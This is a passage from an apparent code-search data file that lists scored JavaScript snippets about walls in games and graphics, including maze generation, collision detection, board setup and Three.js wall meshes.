mapArrays[0][idx];\n waller(toWall);\n }\n // Walls the bottom row.\n for(var idx = 0; idx < width; idx++) {\n \tvar toWall = mapArrays[bottomRowY][idx];\n waller(toWall);\n }\n // Walls the sides. Ignores the top and bottom rows since they're already done.\n for(var idx = 1; idx < height-1; idx++) {\n \tvar toWall1 = mapArrays[idx][0];\n var toWall2 = mapArrays[idx][lastColumnX];\n waller(toWall1);\n waller(toWall2);\n }\n}", "title": "" }, { "docid": "be3723bbe3371510a3fe5c9323316022", "score": "0.5429515", "text": "_findWall() {\n let prio1 = [];\n let prio2 = [];\n for (let id in this._walls) {\n let prio = this._walls[id];\n if (prio == 2) {\n prio2.push(id);\n }\n else {\n prio1.push(id);\n }\n }\n let arr = (prio2.length ? prio2 : prio1);\n if (!arr.length) {\n return null;\n } /* no walls :/ */\n let id = RNG$1.getItem(arr.sort()); // sort to make the order deterministic\n delete this._walls[id];\n return id;\n }", "title": "" }, { "docid": "be3723bbe3371510a3fe5c9323316022", "score": "0.5429515", "text": "_findWall() {\n let prio1 = [];\n let prio2 = [];\n for (let id in this._walls) {\n let prio = this._walls[id];\n if (prio == 2) {\n prio2.push(id);\n }\n else {\n prio1.push(id);\n }\n }\n let arr = (prio2.length ? prio2 : prio1);\n if (!arr.length) {\n return null;\n } /* no walls :/ */\n let id = RNG$1.getItem(arr.sort()); // sort to make the order deterministic\n delete this._walls[id];\n return id;\n }", "title": "" }, { "docid": "ff61338ec25d841bf01a51386a466032", "score": "0.54141915", "text": "function moveWall() {\n if (inGame == true) { //als er op de spatiebalk is gedrukt\n if (isDropping == true) {//als isDropping = true gaan de rijen naar beneden, anders kolommen naar links\n if (rij == HEIGHT - 1) { //als de rij beneden is gaat hij terug helemaal naar boven\n rij = 0\n } else { //als de rij niet beneden is, altijd stap voor stap naar beneden\n rij++\n }\n } else {\n if (kolom == 0) { //als de rij links is gaat hij terug helemaal naar rechts\n kolom = HEIGHT - 1\n } else {//als de rij niet helemaal links is, altijd stap voor stap naar links\n kolom = kolom - 1\n }\n }\n }\n}", "title": "" }, { "docid": "fe962ea30ae5b25616eafe3e1062e0dd", "score": "0.5404824", "text": "function sidewalls( contour ) {\n\n\t\ti = contour.length;\n\n\t\twhile ( --i >= 0 ) {\n\n\t\t\ttmpPt = contour[ i ];\n\n\t\t\tj = i;\n\t\t\tk = i - 1;\n\n\t\t\tif ( k < 0 ) k = contour.length - 1;\n\n\t\t\t//console.log('b', i,j, i-1, k,vertices.length);\n\n\t\t\tvar s = 0, sl = steps + bevelSegments * 2;\n\n\t\t\tfor ( s = 0; s < sl; s ++ ) {\n\n\t\t\t\tvar slen1 = vlen * s;\n\t\t\t\tvar slen2 = vlen * ( s + 1 );\n\t\t\t\tvar a = layeroffset + j + slen1,\n\t\t\t\t\tb = layeroffset + k + slen1,\n\t\t\t\t\tc = layeroffset + k + slen2,\n\t\t\t\t\td = layeroffset + j + slen2;\n\n\t\t\t\tf4( a, b, c, d );\n\n\t\t\t\tif ( extrudeMaterial !== undefined ) {\n\n\t\t\t\t\tvar v1 = s / sl;\n\t\t\t\t\tvar v2 = ( s + 1 ) / sl;\n\n\t\t\t\t\tvar ztol = ( amount + bevelThickness * 2 );\n\n\t\t\t\t\tvar u1 = ( scope.vertices[ a ].position.z + bevelThickness ) / ztol;\n\t\t\t\t\tvar u2 = ( scope.vertices[ d ].position.z + bevelThickness ) / ztol;\n\n\t\t\t\t\t//console.log(vy1, vy2);\n\n\t\t\t\t\tscope.faceVertexUvs[ 0 ].push( [\n\t\t\t\t\t\tnew THREE.UV( u1, v1 ),\n\t\t\t\t\t\tnew THREE.UV( u2, v1 ),\n\t\t\t\t\t\tnew THREE.UV( u2, v2 ),\n\t\t\t\t\t\tnew THREE.UV( u1, v2 )\n\t\t\t\t\t] );\n\t\t\t\t}\n\n\n\t\t\t}\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "8af2b629d4468f4644a04cd9d2ffac87", "score": "0.5400981", "text": "wallCollision() {\n const hitLeft = this.x - this.radius <= 0;\n const hitRight = this.x + this.radius >= this.boardWidth;\n const hitTop = this.y - this.radius <= 0;\n const hitBottom = this.y + this.radius >= this.boardHeight;\n\n if (hitLeft || hitRight) {\n this.vx = -this.vx;\n } else if (hitTop || hitBottom) {\n this.vy = -this.vy;\n }\n }", "title": "" }, { "docid": "e9aa44d2db5509cfd04a9eeeaec1dc00", "score": "0.5394189", "text": "updateOverlap() {\n for(let i = 0; i < this.ranges.length; i ++) {\n let range = this.ranges[i];\n for(let j = 0; j < this.ranges.length; j ++) {\n if(j === i) continue;\n let nextRange = this.ranges[j];\n\n if(range.max === nextRange.min - 1) {\n //they are right next to each other and need to be merged\n this.ranges.push(new Range(range.min, nextRange.max));\n this.ranges.splice(i, 1);\n\n // Logic for removing j after I has been removed\n if(i < j) {\n this.ranges.splice(j - 1, 1);\n }\n else {\n this.ranges.splice(j, 1);\n }\n }\n }\n }\n }", "title": "" }, { "docid": "92ba158c954f335e41d323f8a3689fe5", "score": "0.5383693", "text": "function placeRoom(map) {\n var wall = void 0,\n width = void 0,\n height = void 0,\n isRoom = void 0,\n startX = void 0,\n startY = void 0,\n coords = void 0,\n numClear = void 0;\n while (true) {\n // Create random location and room\n // TODO - Choose wall or hall\n numClear = 0;\n wall = findWall(map);\n coords = wall.coords;\n width = Math.floor(Math.random() * (maxRoomSize - minRoomSize) + minRoomSize);\n height = Math.floor(Math.random() * (maxRoomSize - minRoomSize) + minRoomSize);\n switch (wall.openDir) {\n case 'right':\n startX = coords.x - width;\n startY = coords.y - Math.floor(height / 2) + getDoorOffset(height);\n break;\n case 'left':\n startX = coords.x + 1;\n startY = coords.y - Math.floor(height / 2) + getDoorOffset(height);\n break;\n case 'top':\n startX = coords.x - Math.floor(width / 2) + getDoorOffset(width);\n startY = coords.y + 1;\n break;\n case 'bottom':\n startX = coords.x - Math.floor(width / 2) + getDoorOffset(width);\n startY = coords.y - height;\n break;\n default:\n break;\n }\n // Exit if room would be outside matrix\n if (startX < 0 || startY < 0 || startX + width >= map.length || startY + height >= map[0].length) {\n continue;\n }\n // check if all spaces are clear\n for (var _i2 = startX; _i2 < startX + width; _i2++) {\n if (map[_i2].slice(startY, startY + height).every(function (tile) {\n return tile === tileType.WALL;\n })) {\n numClear++;\n }\n }\n if (numClear === width) {\n fillRect(map, { x: startX, y: startY }, { x: width, y: height }, tileType.FLOOR);\n map[coords.x][coords.y] = 1;\n return map;\n }\n }\n\n function getDoorOffset(length) {\n return Math.floor(Math.random() * length - Math.floor((length - 1) / 2));\n }\n }", "title": "" }, { "docid": "ae64420f65a4fa50adfc407a658fd7ec", "score": "0.53764063", "text": "minWallDir(cX, cY, topLeftX, topLeftY) {\n // Get the center coordinates of the room\n const xCenter = topLeftX + this.state.cellSize / 2;\n const yCenter = topLeftY + this.state.cellSize / 2;\n\n // Get the coordinates of the center point of each wall\n const topCenter = { 0: { x: xCenter, y: topLeftY } };\n const rightCenter = {\n 1: { x: topLeftX + this.state.cellSize, y: yCenter },\n };\n const bottomCenter = {\n 2: { x: xCenter, y: topLeftY + this.state.cellSize },\n };\n const leftCenter = { 3: { x: topLeftX, y: yCenter } };\n\n // Make a list of each wall's center points\n const points = [topCenter, rightCenter, bottomCenter, leftCenter];\n\n // Go through the list and determine which wall is closest to the given\n // coordinates\n let minDist = Infinity;\n let minDir = null;\n points.forEach((dir, index) => {\n let { x, y } = dir[index];\n let dist = Math.sqrt(Math.pow(x - cX, 2) + Math.pow(y - cY, 2));\n if (dist < minDist && dist < this.state.cellSize / 3) {\n minDist = dist;\n minDir = index;\n }\n });\n return minDir;\n }", "title": "" }, { "docid": "74351b86cc8f35e79745769532f2c25d", "score": "0.53608763", "text": "generateWall(){\n\t\t// Shuffle all the tiles\n\t\tshuffle(this.tiles);\n\t\tvar count=0;\n\t\t// Split the tiles into for walls\n\t\tfor(var i = 0;i < 4;i++){\n\t\t\tvar currentWall = this.tiles.slice(count,count+34);\n\t\t\tthis.walls.push(currentWall);\n\t\t\tcount=count+34;\n\t\t}\n\t}", "title": "" }, { "docid": "6ccd2c9ec8e78ff2d94f06a78adc5aa3", "score": "0.5350313", "text": "blackHole() {\n for (let asteroid in this.swarm) {\n if ((this.swarm[asteroid].pos.y >= this.gameSpace.height + this.swarm[asteroid].size + 1) || this.swarm[asteroid].size < 5)\n this.swarm.splice(asteroid, 1);\n }\n //console.log(this.swarm.length); debugging test shows that the total number is constant\n }", "title": "" }, { "docid": "8e2ce693424b82a082da942e3dbccee3", "score": "0.5343751", "text": "function createBoard() {\n for (let i = 0; i < layout.length; i++) {\n const square = document.createElement('div');\n grid.appendChild(square);\n // wallGrid.appendChild(square);\n squares.push(square);\n squares[i].classList.add('g');\n // walls.push(square);\n\n switch (layout[i]) {\n case 0:\n squares[i].classList.add('pac-dot', i);\n tempIntersections = 0;\n directions.forEach((direction) => {\n j = i + direction.value;\n // if (layout[j] == 0 || layout[j] == 4) {\n if ([0, 4].includes(layout[j])) {\n tempIntersections++;\n }\n });\n if (tempIntersections > 2) {\n squares[i].classList.add('intersection');\n }\n break;\n case 1:\n squares[i].classList.add('wall', i);\n // walls[i].classList.add('wall', i);\n break;\n case 2:\n squares[i].classList.add('ghost-lair', i);\n break;\n case 3:\n squares[i].classList.add('power-pellet');\n break;\n case 4:\n tempIntersections = 0;\n directions.forEach((direction) => {\n j = i + direction.value;\n if (layout[j] == 0 || layout[j] == 4) {\n tempIntersections++;\n }\n });\n if (tempIntersections > 2) {\n squares[i].classList.add('intersection');\n }\n break;\n case 5:\n squares[i].classList.add('tunnel-left', i);\n break;\n case 6:\n squares[i].classList.add('tunnel-right', i);\n break;\n }\n }\n }", "title": "" }, { "docid": "eac7cbebaf0ebb8e416f8f11780644f2", "score": "0.53384215", "text": "function drawWalls(ctx, canvas) {\n var x = 30;\n var y = 90;\n\n ctx.fillStyle = 'blue';\n ctx.beginPath()\n //west face wall\n ctx.rect(x+0,y+30,60,75);//a\n //parallelogram\n ctx.moveTo(x+60,y+30);//b\n ctx.lineTo(x+85,y+15);//c\n ctx.lineTo(x+85,y+90);//d\n ctx.lineTo(x+60,y+105);//e\n //back middle wall\n ctx.moveTo(x+85,y+15);//c\n ctx.lineTo(x+150,y+15);//f\n ctx.lineTo(x+150,y+90);//g\n ctx.lineTo(x+85,y+90);//d\n ctx.fill();\n ctx.stroke();\n\n //over draw\n ctx.beginPath();\n //east front wall\n ctx.rect(x+125,y+30,60,75);//h\n //parallelogram\n ctx.moveTo(x+185,y+30);//i\n ctx.lineTo(x+235,y+0);//j\n ctx.lineTo(x+235,y+75);//k\n ctx.lineTo(x+185,y+105);//l\n ctx.fill();\n ctx.stroke();\n}", "title": "" }, { "docid": "a7bcac684fae61225a876418602c3078", "score": "0.5330513", "text": "killRow(y) {\n for (let x = 1; x < this.GRID_WIDTH - 1; x += 1) {\n this.setGrid(x, y, NONE);\n this.spawnBlood(x, y);\n }\n }", "title": "" }, { "docid": "04cb0fad86742397922ae3afcd3d517c", "score": "0.53302175", "text": "collision(){\n var direction = this.image_state.split(\"-\")[0];\n\n //boundary detection with walls\n if(this.boundary_detection(boundaries[direction])) {\n ctx.clearRect(this.x,this.y - 5,this.w,this.h + 10);\n this.image_state = direction + \"-running-8\";\n this.draw();\n return true;\n }\n\n //boundary detection with the lake\n if(this.boundary_detection(boundaries['lake'])) {\n this.fall();\n return true;\n }\n\n if(this.boundary_detection(boundaries[direction + '_lake'])) {\n ctx.clearRect(this.x,this.y - 5,this.w,this.h + 10);\n this.image_state = direction + \"-running-8\";\n this.draw();\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "6cd6536d092acbb05f0d59e2b6f684c9", "score": "0.5330034", "text": "function mkBathroomWall_2 () {\n\tvar shape = new THREE.Shape();\n \tvar options = {amount: 0,bevelThickness: 2,bevelSize: 1,bevelSegments: 3,bevelEnabled: false,curveSegments: 12,steps: 1};\n\tvar shape = new THREE.Shape();\n \t// startpoint\n \tshape.moveTo(0, 0)\t\t\n\t// straight line upwards\n\tshape.lineTo(8, 0);\n\tshape.lineTo(8, 3);\n\tshape.lineTo(0,3);\n\tshape.lineTo(0,0);\t\n\tvar wallGeometry = new THREE.ExtrudeGeometry(shape,options);\n var wall = createMesh(wallGeometry, \"bathroom/tiles.jpg\",\"bathroom/tiles-bump.jpg\");\n wall.rotation.x = Math.PI/2;\n return wall; \n}", "title": "" }, { "docid": "b4246eb2500867e78dce50c290f12e64", "score": "0.5321213", "text": "function checkWallCollisions(snakeHeadX, snakeHeadY) {\n if (snakeHeadX * snakeSize >= screenWidth || snakeHeadX * snakeSize < 0 || snakeHeadY * snakeSize >= screenHeight || snakeHeadY * snakeSize < 0) {\n\n\n setState(\"GAME OVER\");\n }\n//this allows my line of code to have wall collisions\n}", "title": "" }, { "docid": "a546f4361f977712aa690e5d13dfd0c1", "score": "0.53134894", "text": "function createWalls (game) {\n var WALL_THICKNESS = 5;\n\n var horizontalWall = game.make.bitmapData(game.world.width,\n\n WALL_THICKNESS).fill(128, 128, 128);\n var verticalWall = game.make.bitmapData(WALL_THICKNESS,\n game.world.height).fill(128, 128, 128);\n\n var walls = game.add.group();\n walls.enableBody = true;\n\n var leftX = game.world.x;\n var rightX = -game.world.x;\n var topY = game.world.y;\n var bottomY = -game.world.y;\n\n walls.create(leftX, topY, horizontalWall);\n walls.create(leftX, topY, verticalWall);\n walls.create(leftX, bottomY, horizontalWall);\n walls.create(rightX, topY, verticalWall);\n\n walls.setAll('body.immovable' , true);\n walls.setAll('body.moves' , false);\n walls.setAll('body.bounce', 0);\n walls.setAll('collideWorldBounds', true);\n //this.ground.physicsType = Phaser.SPRITE;\n return walls;\n }", "title": "" }, { "docid": "aaaed7ff441c9c22e6336355fb36e161", "score": "0.53108466", "text": "travelerRoomFiller(roomCount) {\n let x = Math.floor(this.size / 2);\n let y = x;\n\n while (roomCount > 0) {\n const direction = getRandomInt(4);\n let newPos = { x, y };\n switch (direction) {\n case 0:\n {\n newPos = { x, y: y + 1 };\n break;\n }\n case 1:\n {\n newPos = { x: x + 1, y };\n break;\n }\n case 2:\n {\n newPos = { x, y: y - 1 };\n break;\n }\n case 3:\n {\n newPos = { x: x - 1, y };\n break;\n }\n }\n\n if (this.isPositionInBound(newPos)) {\n if (!this.isThereRoom(newPos)) {\n x = newPos.x;\n y = newPos.y;\n this.grid[x][y] = new Room({ x, y }, this);\n\n if (this.isTrapped({ x, y })) {\n break;\n }\n roomCount -= 1;\n }\n }\n }\n return { x, y };\n }", "title": "" }, { "docid": "70cb8e42e62688a3349e108a53141b10", "score": "0.530628", "text": "function generateWalls(){\r\n\r\n // generate some Walls \r\n var max = (size*size)/3;\r\n for (i = 0; i < max; i++) {\r\n var code = Math.floor(Math.random()*size*size);\r\n if( (code != getNodeCode(start)) && (code != getNodeCode(end)) ){\r\n Walls.push(code);\r\n }\r\n }\r\n}", "title": "" }, { "docid": "879ee153484ec98b58c9e478ed242a9b", "score": "0.5299877", "text": "addSemiRandomWalls() {\n for (let row = 1; row < this.dim; row += 2) {\n for (let j = 0; j < this.dim / 2; j++) {\n let col = Math.floor(Math.random() * 10)\n if (!this.isPlayerCell(row, col)) {\n this.alter(row, col, 'Wall')\n }\n }\n }\n }", "title": "" }, { "docid": "e56dabc71fb46f6bc12bef7e3aa8e868", "score": "0.52912956", "text": "function allCellsAroundCellActualWithNoWalls(cellActual) {\n\n let result = [];\n for (let i = 0; i<cellActual.walls.length; i++) {\n if (!cellActual.walls[i]) {\n switch (i) {\n case 0 : result.push(getCaseByCoordinate(cellActual.posX-1, cellActual.posY));//haut\n break;\n case 1 : result.push(getCaseByCoordinate(cellActual.posX, cellActual.posY+1));//droite\n break;\n case 2 : result.push(getCaseByCoordinate(cellActual.posX+1, cellActual.posY));//bas\n break;\n case 3 : result.push(getCaseByCoordinate(cellActual.posX, cellActual.posY-1));//gauche\n }\n }\n }\n return result;\n}", "title": "" }, { "docid": "5381f7ca429550485a3f9ea23f53c2d8", "score": "0.5287278", "text": "function onOverlapBreak(a,b){\n a.clearPreview();\n b.clearPreview();\n }", "title": "" }, { "docid": "6fc4d3cf345650a2d73e42f69909958d", "score": "0.52825147", "text": "function eraseRooms() {\n const key = Object.keys(socket.rooms)[1];\n let room = ROOMS.get(key);\n let isPainter = false;\n if (room) {\n isPainter = room.painter == socket.id;\n room.players = room.players.filter(function(el) {\n return el.id != socket.id;\n });\n if (room.players.length > 0) {\n ROOMS.set(key, room);\n io.to(key).emit('update_players', ROOMS.get(key).players);\n } else {\n ROOMS.delete(key);\n }\n\n room = ROOMS.get(key);\n if (room) {\n if (room.players.length < 2 || isPainter) {\n room.painter = null;\n room.word = null;\n clearInterval(TIMER);\n TIMER = null;\n room.restTime = room.time;\n room.image = EMPTY_IMAGE;\n ROOMS.set(key, room);\n io.to(key).emit('reset_game', {room, text: isPainter ? 'Художник вышел или был исключен' : 'Вы остались одни'});\n }\n }\n refreshList();\n }\n }", "title": "" }, { "docid": "b26c1a516574afb8ddcc978dc5db0459", "score": "0.5278738", "text": "function Wall() {\n\t\t\tthis.tiles = [];\n\t\t\tfor (var i = 0; i < TOTAL_NUMBER_TILES; i++) {\n\t\t\t\tthis.tiles.push(i);\n\t\t\t}\n\t\t\tthis.tiles = util.shuffle(this.tiles);\n\t\t\tthis.index = 0;\n\t\t}", "title": "" }, { "docid": "f0978e0f29ffbec025b1d0b389779858", "score": "0.527373", "text": "get probableValidNextWalls() {\n if (this._probableValidNextWallsUpdated) {\n return this._probableValidNextWalls;\n }\n this._probableValidNextWallsUpdated = true;\n \n // near already placed walls\n const _probableValidNextWalls = {\n horizontal: create2DArrayClonedFrom(this._probableNextWalls.horizontal),\n vertical: create2DArrayClonedFrom(this._probableNextWalls.vertical)\n }\n\n // leftmost and rightmost horizontal walls\n // after several turns\n if (this.turn >= 6) {\n for (let i = 0; i < 8; i++) {\n _probableValidNextWalls.horizontal[i][0] = true;\n _probableValidNextWalls.horizontal[i][7] = true;\n }\n }\n \n // near pawns\n // place walls to diturb opponent or support myself\n // only after several turns\n if (this.turn >= 3) {\n // disturb opponent\n Game.setWallsBesidePawn(_probableValidNextWalls, this.pawnOfNotTurn);\n }\n if (this.turn >= 6\n || indicesOfValueIn2DArray(this.board.walls.horizontal, true).length > 0\n || indicesOfValueIn2DArray(this.board.walls.vertical, true).length > 0) {\n // support myself \n Game.setWallsBesidePawn(_probableValidNextWalls, this.pawnOfTurn);\n }\n _probableValidNextWalls.horizontal = logicalAndBetween2DArray(_probableValidNextWalls.horizontal, this.validNextWalls.horizontal);\n _probableValidNextWalls.vertical = logicalAndBetween2DArray(_probableValidNextWalls.vertical, this.validNextWalls.vertical);\n this._probableValidNextWalls = _probableValidNextWalls;\n return _probableValidNextWalls;\n }", "title": "" }, { "docid": "4172f7ce4014750a2a962b7c237b7471", "score": "0.5270622", "text": "function buildWalls(maze) {\n\n for (i = 0; i < maze.length - 1; i++) {\n maze.map((row, r) => {\n maze[r].map((col, c) => {\n if (c === i) {\n col.borders.right = true\n maze[r][c + 1].borders.left = true\n }\n if (r === i) {\n col.borders.bottom = true\n maze[r + 1][c].borders.top = true\n }\n })\n })\n }\n}", "title": "" }, { "docid": "c20fa4ff8adcc8a147bace4b65d300a8", "score": "0.52694076", "text": "boundaries() {\n let d = 25; // distance from the edge\n let desired = null;\n\n if (this.position.x < d) {\n desired = createVector(this.maxspeed, this.velocity.y);\n } else if (this.position.x > width - d) {\n desired = createVector(-this.maxspeed, this.velocity.y);\n }\n\n if (this.position.y < d) {\n desired = createVector(this.velocity.x, this.maxspeed);\n } else if (this.position.y > height - d) {\n desired = createVector(this.velocity.x, -this.maxspeed);\n }\n\n if (desired !== null) {\n desired.normalize();\n desired.mult(this.maxspeed);\n let steer = p5.Vector.sub(desired, this.velocity);\n steer.limit(this.maxforce);\n this.applyForce(steer);\n }\n }", "title": "" }, { "docid": "6e6a79c8ed4c0c9222b27bd4a5aab2b6", "score": "0.5259373", "text": "wall_adjust_center(o) {\n const center = o.get_center();\n const radius = o.radius;\n // outside left wall bounds\n if (center[0] - radius <= - this.floor_width / 2 + 4) {\n o.transform[0][3] = - this.floor_width / 2 + 4 + radius - o.center[0];\n }\n // outside right wall bounds\n if (center[0] + radius >= this.floor_width / 2 - 4) {\n o.transform[0][3] = this.floor_width / 2 - 4 - radius - o.center[0] ;\n }\n // outside bottom wall bounds\n if (center[2] + radius >= this.floor_height / 2 - 3) {\n o.transform[2][3] = this.floor_height / 2 - 3 - radius - o.center[2];\n }\n // outside top wall bounds\n if (center[2] - radius <= -this.floor_height/2 + 3) {\n o.transform[2][3] = - this.floor_height / 2 + 3 + radius - o.center[2];\n }\n }", "title": "" }, { "docid": "3be808eed46d295aaef220af800abd8e", "score": "0.525759", "text": "constructor() {\n\n let topWallHeight = this.minWallHeight + Math.random() * (this.maxWallHeight - this.minWallHeight);\n // We will have a 250px gap to squeeze through.\n let botWallHeight = document.documentElement.clientHeight - topWallHeight - 250;\n // Makes the walls more visible\n if (botWallHeight < 30) {\n botWallHeight = 30;\n }\n let wallWidth = 150;\n\n let playerC = player.getBoundingClientRect();\n\n // Create TopWall\n this.topWall = document.createElement(\"div\");\n this.topWall.style.height = topWallHeight.toString() + \"px\";\n this.topWall.style.width = wallWidth.toString() + \"px\";\n this.topWall.style.left = (document.documentElement.clientWidth + window.pageXOffset).toString() + \"px\";\n this.topWall.className = \"wall\";\n this.topWall.style.top = \"0%\";\n gameScreen.appendChild(this.topWall);\n\n // Create BottomWall\n this.botWall = document.createElement(\"div\");\n this.botWall.style.height = botWallHeight.toString() + \"px\";\n this.botWall.style.width = wallWidth.toString() + \"px\";\n this.botWall.style.left = (document.documentElement.clientWidth + window.pageXOffset).toString() + \"px\";\n this.botWall.style.bottom = \"0%\"\n this.botWall.className = \"wall\";\n gameScreen.appendChild(this.botWall);\n\n // Remove existing walls that are out of the screen, to decrease collision detection logic.\n this.removePassedWalls()\n }", "title": "" }, { "docid": "f35bdd99ee5ef468eeb08881fa9f539c", "score": "0.5249893", "text": "function explodeGuardRoomWall(currentRoom, playerInventory) {\n if (currentRoom.name == upRooms[1].name && playerInventory.includes(\"c4\")) { // checks that player is in the room west of the guard room and has c4.\n upRooms[1].access.push(\"E\"); // allows the player to enter the guard room east\n playerInventory.splice(playerInventory.indexOf(\"c4\"), 1); // removes c4 from the players inventory\n outputText(\"You blew a hole through the east wall!\");\n playerScore += 10;\n }\n else if (currentRoom.name != upRooms.name) {\n outputText(\"You can't do that here.\");\n }\n\n else if (!playerInventory.includes(\"c4\")) {\n outputText(\"You don't have any c4!\");\n }\n}", "title": "" }, { "docid": "ce2a364122bac1999dfcafa6d1eda4c9", "score": "0.5248157", "text": "wallFrom(corner) {\n\t\tfor (var i = 0; i < this.wallEnds.length; i++) {\n\t\t\tif (this.wallEnds[i].getStart() === corner) {\n\t\t\t\treturn this.wallEnds[i];\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}", "title": "" }, { "docid": "16a3eb5970b873803e1ca66360b71814", "score": "0.52472985", "text": "function lemonBoardUpdateWall(x, y) {\n\tvar relX = x + this.location.x;\n\tvar relY = y + this.location.y;\n\tif (this.walls[y][x] != \"0\")\n\t\tdocument.getElementById('lemon-cell-x' + relX + '-y' + relY).className = 'lemon-wall-'\n\t\t\t\t+ this.walls[y][x];\n\telse\n\t\tdocument.getElementById('lemon-cell-x' + relX + '-y' + relY).className = '';\n}", "title": "" }, { "docid": "073e83b9f0f1714c456f7c57094a63cd", "score": "0.5247298", "text": "function breakTile() {\n\n const tilesLength = tiles.length;\n\n if (player.currentDirection == \"up\") {\n\n for (t = 0; t < tilesLength; t++) {\n if (tiles[t].x == Math.round(player.x) && tiles[t].y == Math.round(player.y) - 1) {\n\n if (canRemoveTile(tiles[t])) { tiles[t] = removeTile(tiles[t]); drawTerrain(tiles) }\n // else { error.play() }\n\n }\n }\n } else if (player.currentDirection == \"down\") {\n for (t = 0; t < tilesLength; t++) {\n if (tiles[t].x == Math.round(player.x) && tiles[t].y == Math.round(player.y) + 1) {\n \n if (canRemoveTile(tiles[t])) { tiles[t] = removeTile(tiles[t]); drawTerrain(tiles) }\n // else { error.play() }\n\n }\n }\n } else if (player.currentDirection == \"left\") {\n for (t = 0; t < tilesLength; t++) {\n if (tiles[t].x == Math.round(player.x) - 1 && tiles[t].y == Math.round(player.y)) {\n \n if (canRemoveTile(tiles[t])) { tiles[t] = removeTile(tiles[t]); drawTerrain(tiles) }\n // else { error.play() }\n }\n }\n } else {\n for (t = 0; t < tilesLength; t++) {\n if (tiles[t].x == Math.round(player.x) + 1 && tiles[t].y == Math.round(player.y)) {\n \n if (canRemoveTile(tiles[t])) { tiles[t] = removeTile(tiles[t]); drawTerrain(tiles) }\n // else { error.play() }\n\n }\n }\n }\n}", "title": "" }, { "docid": "57025c0f1c28cd1ed65d42e387041967", "score": "0.52458215", "text": "function createWall (Y) {\r\n var wall = {};\r\n // Picks how many holes there are in each wall\r\n var oneHole = round(random(0, 1.4));\r\n // If two holes\r\n if (oneHole === 0) {\r\n // Randomize the two hole centers and sizes\r\n var hole0Center = random(0, 200);\r\n var hole0Width = random(65, 100);\r\n var hole1Center = random(200, 400) + hole0Width;\r\n var hole1Width = random(50, 100);\r\n // Build lines for the two holes\r\n wall.numberOfLines = 3;\r\n wall.startx = [];\r\n wall.endx = [];\r\n // 0<-line0->hole0<-line1->hole1<-line2->width\r\n wall.startx[0] = -100;\r\n\r\n wall.endx[0] = hole0Center - hole0Width / 2;\r\n wall.startx[1] = hole0Center + hole0Width / 2;\r\n wall.endx[1] = hole1Center - hole1Width / 2;\r\n wall.startx[2] = hole1Center + hole1Width / 2;\r\n wall.endx[2] = width;\r\n } else {\r\n var holeCenter = random(0, 400);\r\n var holeWidth = random(65, 100);\r\n\r\n // 0<-line0->hole<-line1->400\r\n wall.numberOfLines = 2;\r\n wall.startx = [];\r\n wall.endx = [];\r\n wall.startx[0] = -100;\r\n wall.endx[0] = holeCenter - holeWidth / 2;\r\n wall.startx[1] = holeCenter + holeWidth / 2;\r\n wall.endx[1] = 500;\r\n }\r\n // Y is same for any count of holes\r\n wall.Y = Y;\r\n return (wall);\r\n}", "title": "" }, { "docid": "1b10feced93d3d7275ba4b36a62e1fb7", "score": "0.52379537", "text": "function getAdjacentWallsByWall(wall) {\n switch (wall.calculated.name) {\n case 'A':\n return [Summerhouse.walls.D, Summerhouse.walls.B];\n case 'B':\n return [Summerhouse.walls.A, Summerhouse.walls.C];\n case 'C':\n return [Summerhouse.walls.B, Summerhouse.walls.D];\n case 'D':\n return [Summerhouse.walls.C, Summerhouse.walls.A];\n case 'E':\n return [Summerhouse.walls.D, Summerhouse.walls.A];\n default:\n return false;\n }\n }", "title": "" }, { "docid": "cd51ef0dbeb6fff5b8cea8ddd24153ef", "score": "0.5235585", "text": "function notHittingWall(p) {\r\n return (p.y + p.vy > PADDING + p.height / 2 && p.y + p.vy < app.view.height - PADDING - p.height / 2)\r\n}", "title": "" }, { "docid": "473c4ebd2bfe971680e2882badeae195", "score": "0.523452", "text": "checkWallCollision(){\n var snake = this.snake;\n if(snake.headX==this.width-1||snake.headX==0||snake.headY==0||snake.headY==this.height-1)\n return true;\n \n else\n return false;\n }", "title": "" }, { "docid": "7b6c99d8fc8618e91b582dcab489ee9b", "score": "0.52257913", "text": "function brick_ballColl() {\n let break_flag = false;\n let past_loc = new Vector();\n past_loc = ball.loc.subtract(ball.velocity);\n for (let r = bricks.length - 1; r >= 0; r --) {\n for (let c = bricks[r].length - 1; c >= 0; c--) {\n if (levels[level].color[r][c] != ' ' && !bricks[r][c].isHit) {\n if (ball.loc.x >= past_loc.x && ball.loc.y <= past_loc.y) { // going upward right\n if (checkLeftSide(r, c) || checkBottomSide(r, c)) {\n break_flag = true;\n }\n }\n if (ball.loc.x <= past_loc.x && ball.loc.y <= past_loc.y) { // going upward left\n if (checkRightSide(r, c) || checkBottomSide(r, c)) {\n break_flag = true;\n }\n }\n if (ball.loc.x >= past_loc.x && ball.loc.y >= past_loc.y) { // going downward right\n if (checkLeftSide(r, c) || checkTopSide(r, c)) {\n break_flag = true;\n }\n }\n if (ball.loc.x <= past_loc.x && ball.loc.y >= past_loc.y) { // going downward left\n if (checkRightSide(r, c) || checkTopSide(r, c)) {\n break_flag = true;\n }\n }\n }\n }\n if (break_flag) {\n break_flag = false;\n break;\n }\n }\n}", "title": "" }, { "docid": "43d9b0ec28f9b7769e3d83b3155aeb30", "score": "0.5218407", "text": "function optimizeArray2D(array){\n let walls = [];\n let wallIndex = -1; //tracks index position of each object inside the array\n let nextBlock = 1;\n //Horizontal Pass\n for (var r = 0; r < array.length; r++) {\n for (var c = 0; c < array[r].length; c++) {\n \n if(array[r][c]===1){\n if (nextBlock>1){\n nextBlock-=1;\n continue;\n };\n wallIndex++;\n\n let newWallW = sceneConfig.tileW;\n let nextBlockIsSolid = true;\n\n while(nextBlockIsSolid === true){\n if (array[r][c+nextBlock] === 1) {\n newWallW += sceneConfig.tileW;\n nextBlock++;\n }\n else{\n nextBlockIsSolid = false;\n }\n }\n\n walls.push(\n new Wall2D(\n sceneConfig.getxPos2D(c),\n sceneConfig.getyPos2D(r),\n newWallW,\n sceneConfig.tileH,\n ) \n );\n }\n }\n }\n return walls;\n}", "title": "" }, { "docid": "ce1003773a2c02c2bf14d746d1f6a050", "score": "0.52183366", "text": "function create_wall_horizontal()\n\t{\n\t\tvar length = 10;\n\t\twall_arrayh = [];\n\n\t\trandom_x = Math.round(getRandom(1,40));\n\t\trandom_y = Math.round(getRandom(1,50));\n\n\t\tif(random_y < 25)\n\t\t{\n\t\t\trandom_y = 